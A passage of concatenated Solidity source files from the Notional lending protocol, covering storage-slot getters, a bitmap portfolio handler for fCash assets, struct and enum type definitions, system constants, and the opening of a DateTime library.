/// @dev Mapping from account to currencyId to it's balance storage for that currency
function getBalanceStorage() internal pure
returns (mapping(address => mapping(uint256 => BalanceStorage)) storage store)
{
uint256 slot = _getStorageSlot(StorageId.Balance);
assembly { store.slot := slot }
}
/// @dev Mapping from currency id to a boolean for underlying or asset token to
/// the TokenStorage
function getTokenStorage() internal pure
returns (mapping(uint256 => mapping(bool => TokenStorage)) storage store)
{
uint256 slot = _getStorageSlot(StorageId.Token);
assembly { store.slot := slot }
}
/// @dev Mapping from currency id to maturity to its corresponding SettlementRate
function getSettlementRateStorage() internal pure
returns (mapping(uint256 => mapping(uint256 => SettlementRateStorage)) storage store)
{
uint256 slot = _getStorageSlot(StorageId.SettlementRate);
assembly { store.slot := slot }
}
/// @dev Mapping from currency id to maturity to its tightly packed cash group parameters
function getCashGroupStorage() internal pure
returns (mapping(uint256 => bytes32) storage store)
{
uint256 slot = _getStorageSlot(StorageId.CashGroup);
assembly { store.slot := slot }
}
/// @dev Mapping from currency id to maturity to settlement date for a market
function getMarketStorage() internal pure
returns (mapping(uint256 => mapping(uint256 => mapping(uint256 => MarketStorage))) storage store)
{
uint256 slot = _getStorageSlot(StorageId.Market);
assembly { store.slot := slot }
}
/// @dev Mapping from account to currency id to its assets bitmap
function getAssetsBitmapStorage() internal pure
returns (mapping(address => mapping(uint256 => bytes32)) storage store)
{
uint256 slot = _getStorageSlot(StorageId.AssetsBitmap);
assembly { store.slot := slot }
}
/// @dev Mapping from account to currency id to its maturity to its corresponding ifCash balance
function getifCashBitmapStorage() internal pure
returns (mapping(address => mapping(uint256 => mapping(uint256 => ifCashStorage))) storage store)
{
uint256 slot = _getStorageSlot(StorageId.ifCashBitmap);
assembly { store.slot := slot }
}
/// @dev Mapping from account to its fixed length array of portfolio assets
function getPortfolioArrayStorage() internal pure
returns (mapping(address => PortfolioAssetStorage[MAX_PORTFOLIO_ASSETS]) storage store)
{
uint256 slot = _getStorageSlot(StorageId.PortfolioArray);
assembly { store.slot := slot }
}
function getDeprecatedNTokenTotalSupplyStorage() internal pure
returns (mapping(address => nTokenTotalSupplyStorage_deprecated) storage store)
{
uint256 slot = _getStorageSlot(StorageId.nTokenTotalSupply_deprecated);
assembly { store.slot := slot }
}
/// @dev Mapping from nToken address to its total supply values
function getNTokenTotalSupplyStorage() internal pure
returns (mapping(address => nTokenTotalSupplyStorage) storage store)
{
uint256 slot = _getStorageSlot(StorageId.nTokenTotalSupply);
assembly { store.slot := slot }
}
/// @dev Returns the exchange rate between an underlying currency and asset for trading
/// and free collateral. Mapping is from currency id to rate storage object.
function getAssetRateStorage() internal pure
returns (mapping(uint256 => AssetRateStorage) storage store)
{
uint256 slot = _getStorageSlot(StorageId.AssetRate);
assembly { store.slot := slot }
}
/// @dev Returns the exchange rate between an underlying currency and ETH for free
/// collateral purposes. Mapping is from currency id to rate storage object.
function getExchangeRateStorage() internal pure
returns (mapping(uint256 => ETHRateStorage) storage store)
{
uint256 slot = _getStorageSlot(StorageId.ExchangeRate);
assembly { store.slot := slot }
}
/// @dev Returns the address of a secondary incentive rewarder for an nToken if it exists
function getSecondaryIncentiveRewarder() internal pure
returns (mapping(address => IRewarder) storage store)
{
uint256 slot = _getStorageSlot(StorageId.SecondaryIncentiveRewarder);
assembly { store.slot := slot }
}
/// @dev Returns the address of the lending pool
function getLendingPool() internal pure returns (LendingPoolStorage storage store) {
uint256 slot = _getStorageSlot(StorageId.LendingPool);
assembly { store.slot := slot }
}
/// @dev Get the storage slot given a storage ID.
/// @param storageId An entry in `StorageId`
/// @return slot The storage slot.
function _getStorageSlot(StorageId storageId)
private
pure
returns (uint256 slot)
{
// This should never overflow with a reasonable `STORAGE_SLOT_EXP`
// because Solidity will do a range check on `storageId` during the cast.
return uint256(storageId) + STORAGE_SLOT_BASE;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../AccountContextHandler.sol";
import "../markets/CashGroup.sol";
import "../valuation/AssetHandler.sol";
import "../../math/Bitmap.sol";
import "../../math/SafeInt256.sol";
import "../../global/LibStorage.sol";
import "../../global/Constants.sol";
import "../../global/Types.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library BitmapAssetsHandler {
using SafeMath for uint256;
using SafeInt256 for int256;
using Bitmap for bytes32;
using CashGroup for CashGroupParameters;
using AccountContextHandler for AccountContext;
function getAssetsBitmap(address account, uint256 currencyId) internal view returns (bytes32 assetsBitmap) {
mapping(address => mapping(uint256 => bytes32)) storage store = LibStorage.getAssetsBitmapStorage();
return store[account][currencyId];
}
function setAssetsBitmap(
address account,
uint256 currencyId,
bytes32 assetsBitmap
) internal {
require(assetsBitmap.totalBitsSet() <= Constants.MAX_BITMAP_ASSETS, "Over max assets");
mapping(address => mapping(uint256 => bytes32)) storage store = LibStorage.getAssetsBitmapStorage();
store[account][currencyId] = assetsBitmap;
}
function getifCashNotional(
address account,
uint256 currencyId,
uint256 maturity
) internal view returns (int256 notional) {
mapping(address => mapping(uint256 =>
mapping(uint256 => ifCashStorage))) storage store = LibStorage.getifCashBitmapStorage();
return store[account][currencyId][maturity].notional;
}
/// @notice Adds multiple assets to a bitmap portfolio
function addMultipleifCashAssets(
address account,
AccountContext memory accountContext,
PortfolioAsset[] memory assets
) internal {
require(accountContext.isBitmapEnabled()); // dev: bitmap currency not set
uint256 currencyId = accountContext.bitmapCurrencyId;
for (uint256 i; i < assets.length; i++) {
PortfolioAsset memory asset = assets[i];
if (asset.notional == 0) continue;
require(asset.currencyId == currencyId); // dev: invalid asset in set ifcash assets
require(asset.assetType == Constants.FCASH_ASSET_TYPE); // dev: invalid asset in set ifcash assets
int256 finalNotional;
finalNotional = addifCashAsset(
account,
currencyId,
asset.maturity,
accountContext.nextSettleTime,
asset.notional
);
if (finalNotional < 0)
accountContext.hasDebt = accountContext.hasDebt | Constants.HAS_ASSET_DEBT;
}
}
/// @notice Add an ifCash asset in the bitmap and mapping. Updates the bitmap in memory
/// but not in storage.
/// @return the updated assets bitmap and the final notional amount
function addifCashAsset(
address account,
uint256 currencyId,
uint256 maturity,
uint256 nextSettleTime,
int256 notional
) internal returns (int256) {
bytes32 assetsBitmap = getAssetsBitmap(account, currencyId);
mapping(address => mapping(uint256 =>
mapping(uint256 => ifCashStorage))) storage store = LibStorage.getifCashBitmapStorage();
ifCashStorage storage fCashSlot = store[account][currencyId][maturity];
(uint256 bitNum, bool isExact) = DateTime.getBitNumFromMaturity(nextSettleTime, maturity);
require(isExact); // dev: invalid maturity in set ifcash asset
if (assetsBitmap.isBitSet(bitNum)) {
// Bit is set so we read and update the notional amount
int256 finalNotional = notional.add(fCashSlot.notional);
require(type(int128).min <= finalNotional && finalNotional <= type(int128).max); // dev: bitmap notional overflow
fCashSlot.notional = int128(finalNotional);
// If the new notional is zero then turn off the bit
if (finalNotional == 0) {
assetsBitmap = assetsBitmap.setBit(bitNum, false);
}
setAssetsBitmap(account, currencyId, assetsBitmap);
return finalNotional;
}
if (notional != 0) {
// Bit is not set so we turn it on and update the mapping directly, no read required.
require(type(int128).min <= notional && notional <= type(int128).max); // dev: bitmap notional overflow
fCashSlot.notional = int128(notional);
assetsBitmap = assetsBitmap.setBit(bitNum, true);
setAssetsBitmap(account, currencyId, assetsBitmap);
}
return notional;
}
/// @notice Returns the present value of an asset
function getPresentValue(
address account,
uint256 currencyId,
uint256 maturity,
uint256 blockTime,
CashGroupParameters memory cashGroup,
bool riskAdjusted
) internal view returns (int256) {
int256 notional = getifCashNotional(account, currencyId, maturity);
// In this case the asset has matured and the total value is just the notional amount
if (maturity <= blockTime) {
return notional;
} else {
uint256 oracleRate = cashGroup.calculateOracleRate(maturity, blockTime);
if (riskAdjusted) {
return AssetHandler.getRiskAdjustedPresentfCashValue(
cashGroup,
notional,
maturity,
blockTime,
oracleRate
);
} else {
return AssetHandler.getPresentfCashValue(
notional,
maturity,
blockTime,
oracleRate
);
}
}
}
function getNetPresentValueFromBitmap(
address account,
uint256 currencyId,
uint256 nextSettleTime,
uint256 blockTime,
CashGroupParameters memory cashGroup,
bool riskAdjusted,
bytes32 assetsBitmap
) internal view returns (int256 totalValueUnderlying, bool hasDebt) {
uint256 bitNum = assetsBitmap.getNextBitNum();
while (bitNum != 0) {
uint256 maturity = DateTime.getMaturityFromBitNum(nextSettleTime, bitNum);
int256 pv = getPresentValue(
account,
currencyId,
maturity,
blockTime,
cashGroup,
riskAdjusted
);
totalValueUnderlying = totalValueUnderlying.add(pv);
if (pv < 0) hasDebt = true;
// Turn off the bit and look for the next one
assetsBitmap = assetsBitmap.setBit(bitNum, false);
bitNum = assetsBitmap.getNextBitNum();
}
}
/// @notice Get the net present value of all the ifCash assets
function getifCashNetPresentValue(
address account,
uint256 currencyId,
uint256 nextSettleTime,
uint256 blockTime,
CashGroupParameters memory cashGroup,
bool riskAdjusted
) internal view returns (int256 totalValueUnderlying, bool hasDebt) {
bytes32 assetsBitmap = getAssetsBitmap(account, currencyId);
return getNetPresentValueFromBitmap(
account,
currencyId,
nextSettleTime,
blockTime,
cashGroup,
riskAdjusted,
assetsBitmap
);
}
/// @notice Returns the ifCash assets as an array
function getifCashArray(
address account,
uint256 currencyId,
uint256 nextSettleTime
) internal view returns (PortfolioAsset[] memory) {
bytes32 assetsBitmap = getAssetsBitmap(account, currencyId);
uint256 index = assetsBitmap.totalBitsSet();
PortfolioAsset[] memory assets = new PortfolioAsset[](index);
index = 0;
uint256 bitNum = assetsBitmap.getNextBitNum();
while (bitNum != 0) {
uint256 maturity = DateTime.getMaturityFromBitNum(nextSettleTime, bitNum);
int256 notional = getifCashNotional(account, currencyId, maturity);
PortfolioAsset memory asset = assets[index];
asset.currencyId = currencyId;
asset.maturity = maturity;
asset.assetType = Constants.FCASH_ASSET_TYPE;
asset.notional = notional;
index += 1;
// Turn off the bit and look for the next one
assetsBitmap = assetsBitmap.setBit(bitNum, false);
bitNum = assetsBitmap.getNextBitNum();
}
return assets;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../interfaces/chainlink/AggregatorV2V3Interface.sol";
import "../../interfaces/notional/AssetRateAdapter.sol";
/// @notice Different types of internal tokens
/// - UnderlyingToken: underlying asset for a cToken (except for Ether)
/// - cToken: Compound interest bearing token
/// - cETH: Special handling for cETH tokens
/// - Ether: the one and only
/// - NonMintable: tokens that do not have an underlying (therefore not cTokens)
/// - aToken: Aave interest bearing tokens
enum TokenType {UnderlyingToken, cToken, cETH, Ether, NonMintable, aToken}
/// @notice Specifies the different trade action types in the system. Each trade action type is
/// encoded in a tightly packed bytes32 object. Trade action type is the first big endian byte of the
/// 32 byte trade action object. The schemas for each trade action type are defined below.
enum TradeActionType {
// (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 minImpliedRate, uint120 unused)
Lend,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 maxImpliedRate, uint128 unused)
Borrow,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 assetCashAmount, uint32 minImpliedRate, uint32 maxImpliedRate, uint88 unused)
AddLiquidity,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 tokenAmount, uint32 minImpliedRate, uint32 maxImpliedRate, uint88 unused)
RemoveLiquidity,
// (uint8 TradeActionType, uint32 Maturity, int88 fCashResidualAmount, uint128 unused)
PurchaseNTokenResidual,
// (uint8 TradeActionType, address CounterpartyAddress, int88 fCashAmountToSettle)
SettleCashDebt
}
/// @notice Specifies different deposit actions that can occur during BalanceAction or BalanceActionWithTrades
enum DepositActionType {
// No deposit action
None,
// Deposit asset cash, depositActionAmount is specified in asset cash external precision
DepositAsset,
// Deposit underlying tokens that are mintable to asset cash, depositActionAmount is specified in underlying token
// external precision
DepositUnderlying,
// Deposits specified asset cash external precision amount into an nToken and mints the corresponding amount of
// nTokens into the account
DepositAssetAndMintNToken,
// Deposits specified underlying in external precision, mints asset cash, and uses that asset cash to mint nTokens
DepositUnderlyingAndMintNToken,
// Redeems an nToken balance to asset cash. depositActionAmount is specified in nToken precision. Considered a deposit action
// because it deposits asset cash into an account. If there are fCash residuals that cannot be sold off, will revert.
RedeemNToken,
// Converts specified amount of asset cash balance already in Notional to nTokens. depositActionAmount is specified in
// Notional internal 8 decimal precision.
ConvertCashToNToken
}
/// @notice Used internally for PortfolioHandler state
enum AssetStorageState {NoChange, Update, Delete, RevertIfStored}
/****** Calldata objects ******/
/// @notice Defines a balance action for batchAction
struct BalanceAction {
// Deposit action to take (if any)
DepositActionType actionType;
uint16 currencyId;
// Deposit action amount must correspond to the depositActionType, see documentation above.
uint256 depositActionAmount;
// Withdraw an amount of asset cash specified in Notional internal 8 decimal precision
uint256 withdrawAmountInternalPrecision;
// If set to true, will withdraw entire cash balance. Useful if there may be an unknown amount of asset cash
// residual left from trading.
bool withdrawEntireCashBalance;
// If set to true, will redeem asset cash to the underlying token on withdraw.
bool redeemToUnderlying;
}
/// @notice Defines a balance action with a set of trades to do as well
struct BalanceActionWithTrades {
DepositActionType actionType;
uint16 currencyId;
uint256 depositActionAmount;
uint256 withdrawAmountInternalPrecision;
bool withdrawEntireCashBalance;
bool redeemToUnderlying;
// Array of tightly packed 32 byte objects that represent trades. See TradeActionType documentation
bytes32[] trades;
}
/****** In memory objects ******/
/// @notice Internal object that represents settled cash balances
struct SettleAmount {
uint256 currencyId;
int256 netCashChange;
}
/// @notice Internal object that represents a token
struct Token {
address tokenAddress;
bool hasTransferFee;
int256 decimals;
TokenType tokenType;
uint256 maxCollateralBalance;
}
/// @notice Internal object that represents an nToken portfolio
struct nTokenPortfolio {
CashGroupParameters cashGroup;
PortfolioState portfolioState;
int256 totalSupply;
int256 cashBalance;
uint256 lastInitializedTime;
bytes6 parameters;
address tokenAddress;
}
/// @notice Internal object used during liquidation
struct LiquidationFactors {
address account;
// Aggregate free collateral of the account denominated in ETH underlying, 8 decimal precision
int256 netETHValue;
// Amount of net local currency asset cash before haircuts and buffers available
int256 localAssetAvailable;
// Amount of net collateral currency asset cash before haircuts and buffers available
int256 collateralAssetAvailable;
// Haircut value of nToken holdings denominated in asset cash, will be local or collateral nTokens based
// on liquidation type
int256 nTokenHaircutAssetValue;
// nToken parameters for calculating liquidation amount
bytes6 nTokenParameters;
// ETH exchange rate from local currency to ETH
ETHRate localETHRate;
// ETH exchange rate from collateral currency to ETH
ETHRate collateralETHRate;
// Asset rate for the local currency, used in cross currency calculations to calculate local asset cash required
AssetRateParameters localAssetRate;
// Used during currency liquidations if the account has liquidity tokens
CashGroupParameters collateralCashGroup;
// Used during currency liquidations if it is only a calculation, defaults to false
bool isCalculation;
}
/// @notice Internal asset array portfolio state
struct PortfolioState {
// Array of currently stored assets
PortfolioAsset[] storedAssets;
// Array of new assets to add
PortfolioAsset[] newAssets;
uint256 lastNewAssetIndex;
// Holds the length of stored assets after accounting for deleted assets
uint256 storedAssetLength;
}
/// @notice In memory ETH exchange rate used during free collateral calculation.
struct ETHRate {
// The decimals (i.e. 10^rateDecimalPlaces) of the exchange rate, defined by the rate oracle
int256 rateDecimals;
// The exchange rate from base to ETH (if rate invert is required it is already done)
int256 rate;
// Amount of buffer as a multiple with a basis of 100 applied to negative balances.
int256 buffer;
// Amount of haircut as a multiple with a basis of 100 applied to positive balances
int256 haircut;
// Liquidation discount as a multiple with a basis of 100 applied to the exchange rate
// as an incentive given to liquidators.
int256 liquidationDiscount;
}
/// @notice Internal object used to handle balance state during a transaction
struct BalanceState {
uint16 currencyId;
// Cash balance stored in balance state at the beginning of the transaction
int256 storedCashBalance;
// nToken balance stored at the beginning of the transaction
int256 storedNTokenBalance;
// The net cash change as a result of asset settlement or trading
int256 netCashChange;
// Net asset transfers into or out of the account
int256 netAssetTransferInternalPrecision;
// Net token transfers into or out of the account
int256 netNTokenTransfer;
// Net token supply change from minting or redeeming
int256 netNTokenSupplyChange;
// The last time incentives were claimed for this currency
uint256 lastClaimTime;
// Accumulator for incentives that the account no longer has a claim over
uint256 accountIncentiveDebt;
}
/// @dev Asset rate used to convert between underlying cash and asset cash
struct AssetRateParameters {
// Address of the asset rate oracle
AssetRateAdapter rateOracle;
// The exchange rate from base to quote (if invert is required it is already done)
int256 rate;
// The decimals of the underlying, the rate converts to the underlying decimals
int256 underlyingDecimals;
}
/// @dev Cash group when loaded into memory
struct CashGroupParameters {
uint16 currencyId;
uint256 maxMarketIndex;
AssetRateParameters assetRate;
bytes32 data;
}
/// @dev A portfolio asset when loaded in memory
struct PortfolioAsset {
// Asset currency id
uint256 currencyId;
uint256 maturity;
// Asset type, fCash or liquidity token.
uint256 assetType;
// fCash amount or liquidity token amount
int256 notional;
// Used for managing portfolio asset state
uint256 storageSlot;
// The state of the asset for when it is written to storage
AssetStorageState storageState;
}
/// @dev Market object as represented in memory
struct MarketParameters {
bytes32 storageSlot;
uint256 maturity;
// Total amount of fCash available for purchase in the market.
int256 totalfCash;
// Total amount of cash available for purchase in the market.
int256 totalAssetCash;
// Total amount of liquidity tokens (representing a claim on liquidity) in the market.
int256 totalLiquidity;
// This is the previous annualized interest rate in RATE_PRECISION that the market traded
// at. This is used to calculate the rate anchor to smooth interest rates over time.
uint256 lastImpliedRate;
// Time lagged version of lastImpliedRate, used to value fCash assets at market rates while
// remaining resistent to flash loan attacks.
uint256 oracleRate;
// This is the timestamp of the previous trade
uint256 previousTradeTime;
}
/****** Storage objects ******/
/// @dev Token object in storage:
/// 20 bytes for token address
/// 1 byte for hasTransferFee
/// 1 byte for tokenType
/// 1 byte for tokenDecimals
/// 9 bytes for maxCollateralBalance (may not always be set)
struct TokenStorage {
// Address of the token
address tokenAddress;
// Transfer fees will change token deposit behavior
bool hasTransferFee;
TokenType tokenType;
uint8 decimalPlaces;
// Upper limit on how much of this token the contract can hold at any time
uint72 maxCollateralBalance;
}
/// @dev Exchange rate object as it is represented in storage, total storage is 25 bytes.
struct ETHRateStorage {
// Address of the rate oracle
AggregatorV2V3Interface rateOracle;
// The decimal places of precision that the rate oracle uses
uint8 rateDecimalPlaces;
// True of the exchange rate must be inverted
bool mustInvert;
// NOTE: both of these governance values are set with BUFFER_DECIMALS precision
// Amount of buffer to apply to the exchange rate for negative balances.
uint8 buffer;
// Amount of haircut to apply to the exchange rate for positive balances
uint8 haircut;
// Liquidation discount in percentage point terms, 106 means a 6% discount
uint8 liquidationDiscount;
}
/// @dev Asset rate oracle object as it is represented in storage, total storage is 21 bytes.
struct AssetRateStorage {
// Address of the rate oracle
AssetRateAdapter rateOracle;
// The decimal places of the underlying asset
uint8 underlyingDecimalPlaces;
}
/// @dev Governance parameters for a cash group, total storage is 9 bytes + 7 bytes for liquidity token haircuts
/// and 7 bytes for rate scalars, total of 23 bytes. Note that this is stored packed in the storage slot so there
/// are no indexes stored for liquidityTokenHaircuts or rateScalars, maxMarketIndex is used instead to determine the
/// length.
struct CashGroupSettings {
// Index of the AMMs on chain that will be made available. Idiosyncratic fCash
// that is dated less than the longest AMM will be tradable.
uint8 maxMarketIndex;
// Time window in 5 minute increments that the rate oracle will be averaged over
uint8 rateOracleTimeWindow5Min;
// Total fees per trade, specified in BPS
uint8 totalFeeBPS;
// Share of the fees given to the protocol, denominated in percentage
uint8 reserveFeeShare;
// Debt buffer specified in 5 BPS increments
uint8 debtBuffer5BPS;
// fCash haircut specified in 5 BPS increments
uint8 fCashHaircut5BPS;
// If an account has a negative cash balance, it can be settled by incurring debt at the 3 month market. This
// is the basis points for the penalty rate that will be added the current 3 month oracle rate.
uint8 settlementPenaltyRate5BPS;
// If an account has fCash that is being liquidated, this is the discount that the liquidator can purchase it for
uint8 liquidationfCashHaircut5BPS;
// If an account has fCash that is being liquidated, this is the discount that the liquidator can purchase it for
uint8 liquidationDebtBuffer5BPS;
// Liquidity token haircut applied to cash claims, specified as a percentage between 0 and 100
uint8[] liquidityTokenHaircuts;
// Rate scalar used to determine the slippage of the market
uint8[] rateScalars;
}
/// @dev Holds account level context information used to determine settlement and
/// free collateral actions. Total storage is 28 bytes
struct AccountContext {
// Used to check when settlement must be triggered on an account
uint40 nextSettleTime;
// For lenders that never incur debt, we use this flag to skip the free collateral check.
bytes1 hasDebt;
// Length of the account's asset array
uint8 assetArrayLength;
// If this account has bitmaps set, this is the corresponding currency id
uint16 bitmapCurrencyId;
// 9 total active currencies possible (2 bytes each)
bytes18 activeCurrencies;
}
/// @dev Holds nToken context information mapped via the nToken address, total storage is
/// 16 bytes
struct nTokenContext {
// Currency id that the nToken represents
uint16 currencyId;
// Annual incentive emission rate denominated in WHOLE TOKENS (multiply by
// INTERNAL_TOKEN_PRECISION to get the actual rate)
uint32 incentiveAnnualEmissionRate;
// The last block time at utc0 that the nToken was initialized at, zero if it
// has never been initialized
uint32 lastInitializedTime;
// Length of the asset array, refers to the number of liquidity tokens an nToken
// currently holds
uint8 assetArrayLength;
// Each byte is a specific nToken parameter
bytes5 nTokenParameters;
// Reserved bytes for future usage
bytes15 _unused;
// Set to true if a secondary rewarder is set
bool hasSecondaryRewarder;
}
/// @dev Holds account balance information, total storage 32 bytes
struct BalanceStorage {
// Number of nTokens held by the account
uint80 nTokenBalance;
// Last time the account claimed their nTokens
uint32 lastClaimTime;
// Incentives that the account no longer has a claim over
uint56 accountIncentiveDebt;
// Cash balance of the account
int88 cashBalance;
}
/// @dev Holds information about a settlement rate, total storage 25 bytes
struct SettlementRateStorage {
uint40 blockTime;
uint128 settlementRate;
uint8 underlyingDecimalPlaces;
}
/// @dev Holds information about a market, total storage is 42 bytes so this spans
/// two storage words
struct MarketStorage {
// Total fCash in the market
uint80 totalfCash;
// Total asset cash in the market
uint80 totalAssetCash;
// Last annualized interest rate the market traded at
uint32 lastImpliedRate;
// Last recorded oracle rate for the market
uint32 oracleRate;
// Last time a trade was made
uint32 previousTradeTime;
// This is stored in slot + 1
uint80 totalLiquidity;
}
struct ifCashStorage {
// Notional amount of fCash at the slot, limited to int128 to allow for
// future expansion
int128 notional;
}
/// @dev A single portfolio asset in storage, total storage of 19 bytes
struct PortfolioAssetStorage {
// Currency Id for the asset
uint16 currencyId;
// Maturity of the asset
uint40 maturity;
// Asset type (fCash or Liquidity Token marker)
uint8 assetType;
// Notional
int88 notional;
}
/// @dev nToken total supply factors for the nToken, includes factors related
/// to claiming incentives, total storage 32 bytes. This is the deprecated version
struct nTokenTotalSupplyStorage_deprecated {
// Total supply of the nToken
uint96 totalSupply;
// Integral of the total supply used for calculating the average total supply
uint128 integralTotalSupply;
// Last timestamp the supply value changed, used for calculating the integralTotalSupply
uint32 lastSupplyChangeTime;
}
/// @dev nToken total supply factors for the nToken, includes factors related
/// to claiming incentives, total storage 32 bytes.
struct nTokenTotalSupplyStorage {
// Total supply of the nToken
uint96 totalSupply;
// How many NOTE incentives should be issued per nToken in 1e18 precision
uint128 accumulatedNOTEPerNToken;
// Last timestamp when the accumulation happened
uint32 lastAccumulatedTime;
}
/// @dev Used in view methods to return account balances in a developer friendly manner
struct AccountBalance {
uint16 currencyId;
int256 cashBalance;
int256 nTokenBalance;
uint256 lastClaimTime;
uint256 accountIncentiveDebt;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
/// @title All shared constants for the Notional system should be declared here.
library Constants {
uint8 internal constant CETH_DECIMAL_PLACES = 8;
// Token precision used for all internal balances, TokenHandler library ensures that we
// limit the dust amount caused by precision mismatches
int256 internal constant INTERNAL_TOKEN_PRECISION = 1e8;
uint256 internal constant INCENTIVE_ACCUMULATION_PRECISION = 1e18;
// ETH will be initialized as the first currency
uint256 internal constant ETH_CURRENCY_ID = 1;
uint8 internal constant ETH_DECIMAL_PLACES = 18;
int256 internal constant ETH_DECIMALS = 1e18;
// Used to prevent overflow when converting decimal places to decimal precision values via
// 10**decimalPlaces. This is a safe value for int256 and uint256 variables. We apply this
// constraint when storing decimal places in governance.
uint256 internal constant MAX_DECIMAL_PLACES = 36;
// Address of the reserve account
address internal constant RESERVE = address(0);
// Most significant bit
bytes32 internal constant MSB =
0x8000000000000000000000000000000000000000000000000000000000000000;
// Each bit set in this mask marks where an active market should be in the bitmap
// if the first bit refers to the reference time. Used to detect idiosyncratic
// fcash in the nToken accounts
bytes32 internal constant ACTIVE_MARKETS_MASK = (
MSB >> ( 90 - 1) | // 3 month
MSB >> (105 - 1) | // 6 month
MSB >> (135 - 1) | // 1 year
MSB >> (147 - 1) | // 2 year
MSB >> (183 - 1) | // 5 year
MSB >> (211 - 1) | // 10 year
MSB >> (251 - 1) // 20 year
);
// Basis for percentages
int256 internal constant PERCENTAGE_DECIMALS = 100;
// Max number of traded markets, also used as the maximum number of assets in a portfolio array
uint256 internal constant MAX_TRADED_MARKET_INDEX = 7;
// Max number of fCash assets in a bitmap, this is based on the gas costs of calculating free collateral
// for a bitmap portfolio
uint256 internal constant MAX_BITMAP_ASSETS = 20;
uint256 internal constant FIVE_MINUTES = 300;
// Internal date representations, note we use a 6/30/360 week/month/year convention here
uint256 internal constant DAY = 86400;
// We use six day weeks to ensure that all time references divide evenly
uint256 internal constant WEEK = DAY * 6;
uint256 internal constant MONTH = WEEK * 5;
uint256 internal constant QUARTER = MONTH * 3;
uint256 internal constant YEAR = QUARTER * 4;
// These constants are used in DateTime.sol
uint256 internal constant DAYS_IN_WEEK = 6;
uint256 internal constant DAYS_IN_MONTH = 30;
uint256 internal constant DAYS_IN_QUARTER = 90;
// Offsets for each time chunk denominated in days
uint256 internal constant MAX_DAY_OFFSET = 90;
uint256 internal constant MAX_WEEK_OFFSET = 360;
uint256 internal constant MAX_MONTH_OFFSET = 2160;
uint256 internal constant MAX_QUARTER_OFFSET = 7650;
// Offsets for each time chunk denominated in bits
uint256 internal constant WEEK_BIT_OFFSET = 90;
uint256 internal constant MONTH_BIT_OFFSET = 135;
uint256 internal constant QUARTER_BIT_OFFSET = 195;
// This is a constant that represents the time period that all rates are normalized by, 360 days
uint256 internal constant IMPLIED_RATE_TIME = 360 * DAY;
// Number of decimal places that rates are stored in, equals 100%
int256 internal constant RATE_PRECISION = 1e9;
// One basis point in RATE_PRECISION terms
uint256 internal constant BASIS_POINT = uint256(RATE_PRECISION / 10000);
// Used to when calculating the amount to deleverage of a market when minting nTokens
uint256 internal constant DELEVERAGE_BUFFER = 300 * BASIS_POINT;
// Used for scaling cash group factors
uint256 internal constant FIVE_BASIS_POINTS = 5 * BASIS_POINT;
// Used for residual purchase incentive and cash withholding buffer
uint256 internal constant TEN_BASIS_POINTS = 10 * BASIS_POINT;
// This is the ABDK64x64 representation of RATE_PRECISION
// RATE_PRECISION_64x64 = ABDKMath64x64.fromUint(RATE_PRECISION)
int128 internal constant RATE_PRECISION_64x64 = 0x3b9aca000000000000000000;
int128 internal constant LOG_RATE_PRECISION_64x64 = 382276781265598821176;
// Limit the market proportion so that borrowing cannot hit extremely high interest rates
int256 internal constant MAX_MARKET_PROPORTION = RATE_PRECISION * 99 / 100;
uint8 internal constant FCASH_ASSET_TYPE = 1;
// Liquidity token asset types are 1 + marketIndex (where marketIndex is 1-indexed)
uint8 internal constant MIN_LIQUIDITY_TOKEN_INDEX = 2;
uint8 internal constant MAX_LIQUIDITY_TOKEN_INDEX = 8;
// Used for converting bool to bytes1, solidity does not have a native conversion
// method for this
bytes1 internal constant BOOL_FALSE = 0x00;
bytes1 internal constant BOOL_TRUE = 0x01;
// Account context flags
bytes1 internal constant HAS_ASSET_DEBT = 0x01;
bytes1 internal constant HAS_CASH_DEBT = 0x02;
bytes2 internal constant ACTIVE_IN_PORTFOLIO = 0x8000;
bytes2 internal constant ACTIVE_IN_BALANCES = 0x4000;
bytes2 internal constant UNMASK_FLAGS = 0x3FFF;
uint16 internal constant MAX_CURRENCIES = uint16(UNMASK_FLAGS);
// Equal to 100% of all deposit amounts for nToken liquidity across fCash markets.
int256 internal constant DEPOSIT_PERCENT_BASIS = 1e8;
// nToken Parameters: there are offsets in the nTokenParameters bytes6 variable returned
// in nTokenHandler. Each constant represents a position in the byte array.
uint8 internal constant LIQUIDATION_HAIRCUT_PERCENTAGE = 0;
uint8 internal constant CASH_WITHHOLDING_BUFFER = 1;
uint8 internal constant RESIDUAL_PURCHASE_TIME_BUFFER = 2;
uint8 internal constant PV_HAIRCUT_PERCENTAGE = 3;
uint8 internal constant RESIDUAL_PURCHASE_INCENTIVE = 4;
// Liquidation parameters
// Default percentage of collateral that a liquidator is allowed to liquidate, will be higher if the account
// requires more collateral to be liquidated
int256 internal constant DEFAULT_LIQUIDATION_PORTION = 40;
// Percentage of local liquidity token cash claim delivered to the liquidator for liquidating liquidity tokens
int256 internal constant TOKEN_REPO_INCENTIVE_PERCENT = 30;
// Pause Router liquidation enabled states
bytes1 internal constant LOCAL_CURRENCY_ENABLED = 0x01;
bytes1 internal constant COLLATERAL_CURRENCY_ENABLED = 0x02;
bytes1 internal constant LOCAL_FCASH_ENABLED = 0x04;
bytes1 internal constant CROSS_CURRENCY_FCASH_ENABLED = 0x08;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../global/Constants.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library DateTime {
using SafeMath for uint256;
/// @notice Returns the current reference time which is how all the AMM dates are calculated.
function getReferenceTime(uint256 blockTime) internal pure returns (uint256) {
require(blockTime >= Constants.QUARTER);
return blockTime - (blockTime % Constants.QUARTER);
}
/// @notice Truncates a date to midnight UTC time
function getTimeUTC0(uint256 time) internal pure returns (uint256) {
require(time >= Constants.DAY);
return time - (time % Constants.DAY);
}
/// @notice These are the predetermined market offsets for trading
/// @dev Markets are 1-indexed because the 0 index means that no markets are listed for the cash group.
function getTradedMarket(uint256 index) internal pure returns (uint256) {
if (index == 1) return Constants.QUARTER;
